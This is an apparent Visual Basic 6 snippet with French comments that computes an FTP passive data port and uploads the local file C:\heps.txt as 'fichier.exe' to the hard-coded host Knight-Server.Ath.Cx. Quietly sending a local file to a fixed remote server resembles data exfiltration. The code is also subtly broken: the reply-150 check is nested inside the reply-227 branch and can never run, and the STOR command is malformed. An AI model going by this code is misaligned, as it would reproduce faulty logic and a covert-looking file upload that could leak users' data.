1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| If coderecu = 227 Then
Label3.Caption = "connecté au ftp"
'''''''''''''''''''''''''''''''''''
' Calcul du port de reception '
'''''''''''''''''''''''''''''''''''
Dim Temp As Variant, FtpDataRemotePort As Variant
Temp = Split(txtrecu, ")")
Temp = Split(Temp(0), "(")
Temp = Split(Temp(1), ",")
FtpDataRemotePort = CLng(Temp(4)) * 256 + CLng(Temp(5))
''''''''''''''''''''''''''''''
' Fin du calcul '
''''''''''''''''''''''''''''''
'on met le fichier dans une variable
Dim Buffer As Variant
Open "C:\heps.txt" For Binary Access Read Lock Read Write As #1
Buffer = Input(LOF(1), #1)
Close #1
FTPUP.Connect "Knight-Server.Ath.Cx", FtpDataRemotePort
Label3.Caption = FtpDataRemotePort
FTP.SendData "STOR" & "fichier.exe"
If coderecu = 150 Then 'le serveur accepte la connection
FTPUP.SendData Buffer & vbCrLf
'Voila, le serveur recoit le fichier
Label3.Caption = "Torrent Envoyé"
End If |